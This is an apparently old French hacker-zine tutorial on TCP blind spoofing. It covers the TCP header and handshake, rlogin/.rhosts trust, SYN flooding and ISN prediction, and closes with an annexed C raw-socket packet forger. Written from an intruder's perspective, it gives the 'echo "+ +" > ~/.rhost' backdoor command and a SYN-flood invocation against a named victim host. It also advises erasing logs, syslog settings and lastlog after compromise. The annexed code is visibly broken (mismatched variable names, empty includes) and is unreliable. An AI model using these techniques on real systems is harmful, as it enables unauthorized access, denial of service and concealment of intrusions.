--------------------------------------------------------------- III.: ART OF BLIND SPOOFING Par groslameur --------------------------------------------------------------- 1.0 Introduction 1.1 Modèle OSI 1.2 Présentation de TCP 1.3 Connection TCP 2.0 Principes du Blind Spoofing 2.1 Protocole Rlogin 2.2 Mise en application 2.3 SYN Flooding 2.4 Prédiction de l'ISN 2.5 Infiltration 3.0 Conclusion Annexe: forgeur de paquets TCP (TCPforger.c) Le Blind Spoofing immortalisé en 1994 par le feu Kevin Mitnick à l'insu de Tsutomu Shimomura, est une technique de spoofing (pratique qui consiste à envoyer des paquets spoofés - dont l'adresse IP source est celle d'une autre machine, existante ou non - à un hôte, à des fins plus ou moins légales..) qui se base sur des relations de confi- -ance entre deux machines (système des fichiers .rhost). Au niveau du modèle OSI (modèle qui définit l'organisation de tcp/ip dans les stack des systèmes d'exploitation), le blind spoofing se place au niveau de la couche application, car il consiste en réalité à utiliser des des applications telles que rlogin ou rsh, et utilise les informations des couches inférieures, nottament celles de la couche Transport: _ *---------------------------* /|\ | Couche Application |-----> Blind Spoofing E | |---------------------------| - rlogin N | | Couche Présentation | - rsh , ... C | |---------------------------| A | | Couche Session | P | |---------------------------| S | | Couche Transport |-----> TCP Spoofing U | |---------------------------| - tcp L | | Couche Réseau |----- - udp, ... A | |---------------------------| \ T | | Couche Liaison de Données | ---> IP Spoofing I | |---------------------------| - ip O | | Couche Physique | - icmp, ... N | *---------------------------* Pour pouvoir réaliser un blind spoofing, nous devrons donc agir au niveau de la couche Transport, plus précisément au niveau du protocole TCP (Transport Control Protocol). TCP est un protocole qui offre des services supplémentaires à IP (mécanisme send and pray), permettant ainsi un canal full-duplex fiable entre deux hôtes, du fait de la gestion du checksum, des numéros de séquence, des flags, du fait qu'il s'agit d'un protocole de type sliding-windows (fenêtre glissante), etc... La figure suivante illustre la composition d'un entête de paquet TCP: (16 bits) (16 bits) <-----------*--------------¤------------*-------------> *-----------------------------------------------------* | Source IP Adress | |-----------------------------------------------------| | Destination IP Adress | |-----------------------------------------------------| | 8 b of 0 | Prot. ID | TCP Lenght | |-----------------------------------------------------| |-----------------------------------------------------| | Source Port | Destination Port | |-----------------------------------------------------| | Sequence Number | |-----------------------------------------------------| | Acknowledgment Number | |-----------------------------------------------------| | Data offs. | R. | Flags | Window | |-----------------------------------------------------| | Checksum | Urgent Pointer | |-----------------------------------------------------| | Options | Padding | *-----------------------------------------------------* Les deux traits horizontaux symbolisent tout simplement la séparation entre le pseudo entête TCP, ou entête IP (en haut) et l'entête de segment TCP. Quelques précisions maintenant: - Le champ Protocol ID doit contenir le numéro du protocole de couche supérieure, en l'occurence TCP (dont l'identifiant est 6). - Le champ Flag(s), les flags TCP sont au nombre de 6: * SYN: synchronisation * ACK: ackowledgment * FIN: no more data from server * RST: reset the connexion * URG: urgent pointer * PSH: push fonction Ces flags fonctionnent de la manière suivante: 1/activé && 2/désactivé) - Le champ Urgent Pointer contiendra des données urgentes à interpréter uniquement si le flag URG est à 1. - Le numéro de séquence identifie la position du flux de données, et permet donc le réassemblage des paquets arrivés à destination. Si le flag SYN est à 0, le numéro de séquence sera celui du premier octet de données du segment. Si le flag SYN est à 1, il s'agira de l'ISN (numéro de séquence initial) et le premier octet de données sera à ISN+1. - Le champ Acknowledgment contiendra le numéro de séquence attendu par l'émetteur du segment si le flag ACK est à 1. - Le checksum ou somme de contrôle qui va vérifier la validité de l'entête. En C, nous utiliserons cette fonction générique pour le calcul du checksum: unsigned short in_cksum(unsigned short *addr, int len) { register int sum = 0; u_short answer = 0; register u_short *w = addr; register int nleft = len; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } - Le champ Window fait référence au concept de fenêtre gli- -ssante (sliding window). On appelle en réalité fenêtre le nombre maximal de paquets que l'émetteur peut transmettre sans reçevoir d'acquittement (paquet ACK). Sa taille sera généralement fixée à 4, autrement dit l'utilisateur pourra envoyer 4 paquets simultanément. - Si quelques autres points vous paraissent obscurs, revo- -yez les grands principes de la communication client/serveur. Une connection full-duplex entre deux machines se traduit au niveau de la couche Transport par ce que l'on appelle "Three-Ways Handshake TCP" (triple poignée de mains TCP). Vous l'aurez compris, cette appellation laisse supposer une connection en trois mouvements. Ainsi si l'on suppose une machine client A désireuse de se connecter à une ma- -chine serveur B, le schéma de la connection sera celui-ci: (1) A ----- SYN ------> B seq num -> ISN(A) (2) A <--- SYN/ACK ---- B seq num -> ISN(B) ; ack num -> ISN(A)+1 (3) A ------ ACK -----> B ack num -> ISN(B)+1 La demande de connection du client au serveur s'effectue en (1), cela se traduit par l'envoi d'un segment TCP dans lequel A place son ISN et ayant le flag SYN à 1. Un paquet ayant les flags SYN et ACK à 1 est alors envoyé par le ser- -veur au client, le flag SYN signifiant que le serveur est en train de synchroniser les numéros de séquence et donc place son ISN dans le segment envoyé, et le flag ACK repré- -sentant l'accusé de reception de la demande de connexion. A cet instant le numéro ACK est égal à ISN(A)+1 ce qui co- -rrespond au numéro d'ordre du prochain octet de données que le serveur est pret à reçevoir. Le client va donc pou- -voir communiquer avec le serveur à partir de ce moment précis, avant cela il va envoyer un paquet ACK en signe d'acquittement et possèdant l'ISN de B incrémenté (étape (3). Ceci fait, les numéros de séquence sont synchronisés et la communication peut enfin commencer. Cette parenthèse sur le protocole TCP étant terminée, nous allons maintenant nous attaquer à la compréhension du pro- -tocole Rlogin. Le service rlogin devrait être présent dans tous les /etc/inetd.conf des machines de type UNIX, géné- -ralement désactivé. Pour les besoins de la démonstration nous activerons bien sûr rlogin. Pour ce faire il nous suffira de redémarrer le tcp-wrapper inetd ou xinetd après avoir pris soin d'enlever le "#" de- -vant le service rlogin: $ killall inetd Ceci fait, voyons notre rlogin de plus près... Le daemon rlogin tourne sur le port 513 et permet un shell distant entre un client et un serveur, le tout utilisant le méca- -nisme d'authentification Kerberos. Pour qu'un client puisse accèder à un serveur sans mot de passe au shell d'un utilisateur d'un serveur, il faut que dans le fichier .rhosts de ce dernier il y'ait le login et le nom de ma- -chine du client. Mettons nous à la place d'un utilisateur quelconque sur un serveur quelconque: utilisateur@serveur:/$ cat ~/.rhosts michel client Si nous nous mettons à la place de "michel" sur la ma- -chine client, nous pourrons nous logger sur le shell de l'utilisateur de la machine distante: michel@client:~$ rlogin -l utilisateur serveur Welcome to serveur ! bash-2.05a$ _ Passons maintenant aux choses sérieuses... En se placant dans la peau d'un pirate sur une machine A voulant accè- -der à un shell sur B, nous devrons d'abord déterminer qui fait confiance à B (c'est à dire essayer de "voir" les fichiers .rhosts du serveur). Pour cela nous allons faire intervenir un autre protocole, NFS (Network File System). NFS permet justement à une machine d'exporter certains répertoires (mount -t nfs repertoire:machine pour y accèder) et de voir ces repertoires. Nous utiliserons donc la commande "showmount" pour conn- -aître les machines faisant confiance à B: pirate@A:~$ showmount -e B export list for B: /root utilisateur@C Ici nous avons une situation particulièrement intéressante, bien que peu réaliste, par laquelle nous déduisons que le root de B exporte son repertoire et le rend accessible uniquement pour l'utilisateur de C. Nous usurperons donc de l'identité de C auprès de B. Comme tout doit vous sembler pour le moment très flou, je vais maintenant m'appliquer à vous expliquer le principe intrin- -sèque du Blind Spoofing. Le bagage technique brièvement expliqué jusqu'à présent étant nécessaire à la compréhension de ce qui va suivre, prenez le temps de tout bien relire si toutefois quelques notions venaient à vous échapper. Mais trêve de parole, revenons à nos moutons. Le Blind Spoofing va consister très succintement à usurper l'identité d'une machine auprès d'une autre machine faisant confiance à cette première, dans le but d'executer une com- -mande sur cette dernière. Cette commande sera le plus sou- -vent "echo "+ +" > ~/.rhost, permettant ainsi de laisser n'importe qui accèder au shell de la machine cible. Comme, après m'être relu, je trouve ma phrase totalement incom- -préhensible, je vous propose ce schéma: (1) A (IP src=C) ---- SYN ----> B (la connection s'effectue (2) C <-------- SYN/ACK ------- B sur le port correspondant (3) A (Ip src=C) ---- ACK ----> B à rlogin (513)) (4) A (Ip src=C) ---- PSH ----> B Maintenant, les explications ! Un paquet SYN est d'abord envoyé de A (la machine du pirate) vers B (la machine de la victime). Le champ IP Source Address du paquet SYN con- -tient l'adresse IP de la machine C, qui rappellons le, fait confiance ) B. En (2), B renvoie un paquet SYN/ACK à C. Pour éviter que C ne renvoie un paquet RST à B pour lui signaler une erreur dans l'établissement de la connexion, nous de- -vrons déconnecter C avant l'étape (2). En (3) il nous reste à envoyer un paquet ayant le flag ACK à 1 à B, pour la con- -firmation de connexion puis une fois connecté d'envoyer un paquet ayant le flag PSH à 1, afin d'executer la commande énoncée plus haut avec les droits de C (qui est autorisé d'accès à B). Pour que ces dernières étapes soient possi- -bles, une nouvelle contradiction s'impose: nous devrons mettre en place une technique de prédiction du numéro de séquence initial de B. Une fois ce numéro de séquence de- -viné, nous pourrons donc envoyer un segment TCP correct ayant pour numéro de séquence ISN(B)+1 (voir schéma partie 1.3). Mais nous reviendrons sur ce "détail" (entre guimets car c'est justement la prédiction du numéro de séquence de la cible qui rend la tâche ardue et difficile à mettre en place). Pour l'instant attardons nous à déconnecter C. Cette déco- -nnection de l'hôte distant est appellée DoS (pour dénis de service). L'attaque DoS que nous utiliserons, afin de rester en parfaite symbiose avec le protocole TCP et ses failles que nous avons étudiéesjusqu'à maintenant (mais éga- -lement pour rester en concordance avec la reconsitution du piratage de Tsutomu Shimomura par Kevin Mitnick), sera l'at- -taque dite du SYN Flooding. Le SYN Flooding se base sur l'interrogation suivante: Que se passera t'il si, emporté dans une envolée lyrique soudaine, je décide d'envoyer un paquet SYN avec une adresse IP source inexistante à un hôte ? Il faut savoir qu'entre le moment où l'hôte en question reçoie le SYN et envoie le SYN/ACK, il se place en situation SYN_RECV. Et si il ne peux pas renvoyer ce SYN/ACK vital à la réalisation d'une connection TCP en trois mouvements, il restera bloqué en situation SYN_RECV. De ce fait, si nous inondons l'hôte (sur un quelconque port), de paquets SYN spoofés sur une adresse IP inexistante, la mal- -heureuse machine prise pour cible va alors se retrouver en situation de DoS et va misérablement se planter. Par ailleurs, pour éviter que cette situation ne se produise, nous pourrions penser à nous proteger du SYN Flooding en activant le support SYN Cookie du noyau Linux (après avoir recompiler votre noyau faites un "echo 1 > /proc/sys/net/ipv4/tcp_syncookies" - thx to D.J. Bernstein). Mais là n'est pas la question... Le sché- -ma qui suit devrait être plus explicite (car il vaut toujours mieux qu'un long discours): root@localhost:~# tcpforger -s 4.4.4.4 -d victime.com -f SYN -p 80 -n localhost(4.4.4.4) ---SYN---> victime.com localhost(4.4.4.4) ---SYN---> victime.com localhost(4.4.4.4) ---SYN---> victime.com localhost(4.4.4.4) ---SYN---> victime.com localhost(4.4.4.4) ---SYN---> victime.com (...) Ainsi on rempli petit à petit le backlog de victim.com avec des connections sans réponses. Finalement le backlog de C saturé, celui ci va finir par ignorer les requètes en sa destination et à se déchirer à essayer de renvoyer des paquets SYN/ACK à une machine inconnue... Nous pourrions aussi penser, en cas d'échec d'un SYN Flooding, utiliser une autre technique de DoS, telle que le Smurf, le Fraggle, le ping overflood, ou toute autre activité onéreuse et illicite qui plus est, consomme beaucoup de bande passante... Tellement beaucoup qu'il serait plus pratique de lancer notre DoS simultanément à partir de plusieurs machines (dans ce cas on parlera de DDoS - dénis de service distribué), cette pra- -tique peu glorieuse a été utilisée par des pirates dernièrement, dans le but avoué de mettre un terme à l'Internet pour quelques minutes en saturant de requètes ICMP les 13 root-servers du ré- -seau des réseaux à partir de plusieurs machines ; leur attaque n'a d'ailleurs pas abouti, heureusement pour nous et nos quelques minutes de connexion qui auraient pu être supputées à notre fac- -ture mensuelle... Bref, je me rend compte que je m'éloigne quelque peu du sujet, alors abrégeons... Donc une fois l'hôte C déconnecté, la deuxième condition sine qua non à la réussite de notre Blind Spoofing serait de prédire le numéro de séquence initial de B, afin de pouvoir renvoyer en toute impunité nos paquets ACK et PSH forgés sur l'adresse IP source de C. Selon l'article "IP Spoofing demystified" paru dans Phrack (excusez mon ignorance je ne connais plus ni le volume, ni le numéro), l'ISN est incrémenté de 64 000 à cha- -que seconde et de 128 000 à chaque connction. Encore fau- -drait il le connaitre, cet ISN... Si nous étions en réseau local (LAN), la difficulté ne se poserait pas puisque nous n'aurions qu'à utiliser un de ces bêtes sniffer (tels tcp- -dump ou ethereal) pour regarder les paquets passant par notre carte réseau en mode promiscuous, il nous serait alors très facile d'obtenir le numéro de séquence initial de B. Cependant, menée à partir de l'Internet, la prédiction de ce numéro de séquence n'est pas une mince affaire. Les al- -gorithmes de génération d'ISN sont établis en fonction de la stack tcp/ip du système d'exploitation, une première approche serait donc d'effectuer une prise d'empreinte (os fingerprint) de l'os distant. Deux choix s'offrent à nous, prise d'empreinte active (nmap -O C), ou passive (en uti- -lisant des outils tels que p0f ou syphon). Il est intéres- -sant de savoir que la génération des numéros de séquence initals dans la stack tcp/ip des système Windows est bien moins sûre que celle des serveurs de type Unix. Une étude statistique à ce propos à été menée par truff, vous pour- -rez retrouver les résultats de ses travaux sur www.projet7.org . L'OS identifié et le niveau de diffi- -culté de prédiction de l'ISN déterminé, il nous restera à étudier l'algorithme de genération des ISN du système cible, afin de pouvoir prévoir quel sera cet ISN, que nous incrémenterons lors de l'envoi du ACK (voir connection tcp). Une fois ces deux conditions accomplie, nous pourrons atteindre notre but, à savoir executer une commande des droits de C sur B à partir de A. Cette commande (echo "+ +" > ~/.rhost pour ceux qui n'auraient pas suivi) permettra à n'importe quel utilisateur d'accèder au shell de root (car root exporte désormais son repertoire à tout le monde). Pour ce faire, après avoir renvoyer un paquet ayant le flag ACK activé à B (et avec les corrects ISN), nous enve- -rrons un paquet PSH toujours spoofé sur C (qui est down à présent), le flag PSH servant à pusher des données sur la machine distante, ainsi nous pourrons donc executer notre commande. Ceci étant fait, il ne nous restera plus qu'à nous connecter à B: pirate@A:~# rlogin -l root B Welcome to B ! sh-2.04$ _ Le système ainsi corrompu, on procédera avant toutes choses à un classique "nettoyage" des fichiers logs, qui se tra- -duira le plus souvent par une modification du fichier de configuration du damon syslogd, d'une modification des dates et heures de certains fichiers et de la suppression des historiques et du lastlog. Mais je ne m'étendrais pas plus sur ce sujet, jurez en par Sauron si vous êtes dé- -sireux d'effacer vos traces... Cette technique, le Blind Spoofing, bien que devenue ob- -solète par le temps et par la relative difficulté de sa mise en application, a bel et bien fait ses preuves au temps de Mitnick, lorsque celui-ci défiait les experts japonais les plus respectables. Elle montre également des problèmes de sé- -curité non-négligeables liés à une mauvaise conception des protocoles sur lesquels Internet repose, je vous ai parlé de TCP dans cet article, le tcp spoofing est une des plus difficiles techniques de spoofing, le plus simple étant le spoofing au niveau de la couche Réseau (ou il suffit juste de modifier le champ Adresse Source des paquets IP à envoyer). L'internet est un gigantesque chateau... mais construit sur du sable. /* TCPforger.c ** ** by groslameur */ #include #include #include #include #include #include #include #include #include #include #include #define TRUE 0 #define FALSE -1 int fd; struct iphdr *ip; struct tcphdr *tcp; struct sockaddr_in addy; struct hostent *source; struct hostent *dest; struct pseudohdr { unsigned long saddr; unsigned long daddr; char useless; unsigned char protocol; unsigned short length; }pseudo; void usage(char programme[]) { printf("usage: %s -s source -d destination [-f] [-p] [-n] [-e]\n", programme); printf("-f flag: le flag du paquet TCP à envoyer (SYN/ACK/URG/PSH/RST/FIN)\n"); printf("-p port: le numéro de port de destination TCP (par défaut 80\n"); printf("-n nombre de paquets: le nombres de paquets TCP à envoyer\n"); printf("-e: option qui active l'édition manuelle des paquets TCP\n"); } unsigned long resolve(char *sname) { struct hostent * hip; hip = gethostbyname(sname); if (!hip) { fprintf(stderr, "unable to resolve\n"); exit(FALSE); } return *(unsigned long *)hip -> h_addr; } unsigned short in_cksum(unsigned short *addr, int len) { register int sum = 0; u_short answer = 0; register u_short *w = addr; register int nleft = len; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } int socksend(unsigned long *sssource, unsigned long *dddest, int dport, char *flag, int editsocket, int nbpaquets) { char *paquet, *fip, *buffer; int sihl=0, sversion=4, stos=0, stot_len, sid, sttl=255, sprotocol=6, i; int psource, pdest, sres1=0, sfin=0, ssyn=0, srst=0, spsh=0, sack=0, surg=0, swin=0, surg_ptr=0; long sseq, sack_seq; packet=(char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr)); buffer=(char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr)); ip=(struct iphdr *) packet; tcp=(struct tcphdr *) (packet + sizeof(struct iphdr)); if(flag) { if(!strcmp(flag, "SYN")) ssyn=1; if(!strcmp(flag, "ACK")) sack=1; if(!strcmp(flag, "RST")) srst=1; if(!strcmp(flag, "FIN")) sfin=1; if(!strcmp(flag, "PSH")) spsh=1; if(!strcmp(flag, "URG")) surg=1; else fprintf(stderr, "flag non valide\n"); } if(editsocket==1) { printf("IP ILH(5):\n"); scanf("%d", &sihl); printf("IP VERSION(4):\n"); scanf("%d", &sversion); printf("IP TOS(0):\n"); scanf("%d", &stos); printf("IP TTL(255):\n"); scanf("%d", &sttl); printf("TCP PORT SOURCE:\n"); scanf("%d", &psource); printf("TCP PORT DEST:\n"); scanf("%d", &pdest); printf("TCP SEQ:\n"); scanf("%d", &sseq); printf("TCP ACK_SEQ:\n"); scanf("%d", &sack_seq); printf("TCP SYN FLAG:\n"); scanf("%d", &ssyn); printf("TCP FIN FLAG:\n"); scanf("%d", &sfin); printf("TCP RES1 FLAG:\n"); scanf("%d", &sres1); printf("TCP RST FLAG:\n"); scanf("%d", &srst); printf("TCP PSH FLAG:\n"); scanf("%d", &spsh); printf("TCP ACK FLAG:\n"); scanf("%d", &sack); printf("TCP URG FLAG:\n"); scanf("%d", &surg); printf("TCP WINDOW :\n"); scanf("%d", &swin); printf("TCP POINTEUR URGENT:\n"); scanf("%d", &surg_ptr); } ip->ihl=sihl; ip->version=sversion; ip->tos=stos; ip->tot_len=sizeof(struct iphdr) + sizeof(struct tcphdr); ip->id=(random()); ip->ttl=sttl; ip->protocol=IPPROTO_TCP; ip->saddr=ssource; ip->daddr=ddest; pseudo.saddr=ip->saddr; pseudo.daddr=ip->daddr; pseudo.useless=htons(0); pseudo.protocol=IPPROTO_TCP; pseudo.length=sizeof(struct tcphdr); tcp->source=htons(psource); tcp->dest=htons(pdest); tcp->seq=htonl(sseq); tcp->ack_seq=htonl(sack_seq); tcp->doff=sizeof(tcp)/4; tcp->res1=sres1; tcp->fin=sfin; tcp->syn=ssyn; tcp->rst=srst; tcp->psh=spsh; tcp->ack=sack; tcp->urg=surg; tcp->window=htons(swin); tcp->urg_ptr=htons(surg_ptr); tcp->check=in_cksum((unsigned short *)&pseudo,sizeof(struct tcphdr) + sizeof(struct pseudohdr)); ip->check=in_cksum((unsigned short *)ip, sizeof(struct iphdr)); fd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if(fd<0) { fprintf(stderr, "unable to create socket\n"); exit(FALSE); } addy.sin_family=AF_INET; addy.sin_port=tcp->dest; addy.sin_addr.s_addr=ip->daddr; for(i=0;i<=nbpaquets;++i) { if((sendto(fd,packet,ip->tot_len,0,(struct sockaddr *)&addy, sizeof(struct sockaddr)))<0) fprintf(stderr, "unable to send\n"); else printf("A(%s) ---- %s ----> B(%s)\n", ssource, flag, ddest); } close(fd); exit(TRUE); } int main(int argc, char *argv[]) { char *source, *dest; char *flag="SYN", c; unsigned long ssource, ddest; int dport=80, editsock=1, nbpaquets=1; if(argc<2) { printf("usage: %s -s source -d destination -f flag -p port -n nombre de paquets [-e]\n", argv[0]); exit(FALSE); } while ((c = getopt (argc, argv, "hs:d:f:p:n:e:")) != -1) switch (c) { case 'h': usage(argv[0]); exit(TRUE); break; case 's': source=optarg; ssource=resolve(source); break; case 'd': dest=optarg; ddest=resolve(dest); break; case 'f': flag=optarg; break; case 'p': dport=atoi(optarg); break; case 'n': nbpaquets=atoi(optarg); break; case 'e': editsock=1; break; case '?': fprintf(stderr, "%s: option non valide\n", optopt); exit(FALSE); break; }; socksend(ssource, ddest, dport, flag, editsock, nbpaquets); exit(TRUE); } [-EOF]